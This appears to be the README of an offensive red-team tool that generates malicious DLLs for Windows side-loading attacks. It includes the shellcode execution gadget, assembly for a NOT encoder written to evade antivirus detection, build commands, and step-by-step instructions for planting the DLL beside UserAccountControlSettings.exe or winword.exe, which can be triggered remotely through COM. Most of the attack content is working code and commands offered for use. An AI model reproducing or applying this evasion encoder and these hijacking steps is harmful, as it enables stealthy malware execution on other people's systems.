MaliciousDLLGenerator

DLL Generator for side loading attack

Currently only support 64 bits shellcode

Usage

$ python gen-dll.py -h

MaliciousDLLGenerator - Mr.Un1k0d3r - RingZer0 Team
[-] Shellcode size is limited to 1024 bytes
usage: gen-dll.py [-h] -o OUTPUT -s SHELLCODE [-t TYPE]
optional arguments:
  -h, --help            show this help message and exit
  -o OUTPUT, --output OUTPUT
                        Output filename
  -s SHELLCODE, --shellcode SHELLCODE
                        Raw shellcode file path
  -t TYPE, --type TYPE  DLL type (default,oart)

Shellcode gadget

Instead of using the standard shellcode calling structure

char shellcode[] = {};
int(*execute)(void);
execute = (int(*)())shellcode;
execute();

Which result in the following assembly code

call rax

The DLL is mimicking a standard function return by using the following code

        CHAR payload[] = "";
        asm volatile ("mov %%rax, %0\n\t"
                     "push %%rax\n\t"
                     "ret"
                     :
                     : "r" (payload));

Which result in following assembly code

mov rax, rsp
push rax
ret

Compiling from source using GCC

C:\> x86_64-w64-mingw32-g++.exe -Wall -DBUILD_DLL -O2 -c maindll.cpp -o maindll.o
C:\> x86_64-w64-mingw32-g++.exe -shared -Wl,--dll maindll.o -o yourdll.dll -s 

Compiling from ASM

64 bits

$ nasm -felf64 encoder-64.asm -o encoder-64.o
$ ld -N encoder-64.o -o encoder-64

32 bits

$ nasm -felf32 encoder-32.asm -o encoder-32.o
$ ld -N -melf_i386 encoder-32.o -o encoder-32

Obfuscation shellcode

The DLL encode the shellcode using a simple NOT encoder to avoid AV detection.

64 bits NOT encoder source

_start:
        call $ + 5
        pop rbx
        xor rax, rax
        mov rcx, rax
        mov cl, 128
        add rbx, 16
_loop:
        not QWORD [rbx + rcx * 8]
        loop _loop
        add rbx, 8
        push rbx
        ret

32 bits NOT encoder source

_start:
        call $ + 5
        pop ebx
        xor eax, eax
        mov ecx, eax
        mov cx, 256
        add ebx, 18
_loop:
        not DWORD [ebx + ecx * 4]
        loop _loop
        add ebx, 4
        push ebx
        ret

Attack examples

Using windows binaries

copy C:\windows\system32\UserAccountControlSettings.exe to a writable location
add the malicious dll in the same folder and rename it to cryptbase.dll

copy C:\Program Files (x86)\Microsoft Office\root\Office16\winword.exe to a writable location
add the malicious dll (use the oart switch) in the same folder and rename it to oart.dll

it can be trigged remotely using COM object. Winword can be started without GUI using the following command:
C:\yourpath\winword.exe /Automation -Embedding

Credit

Mr.Un1k0d3r RingZer0 Team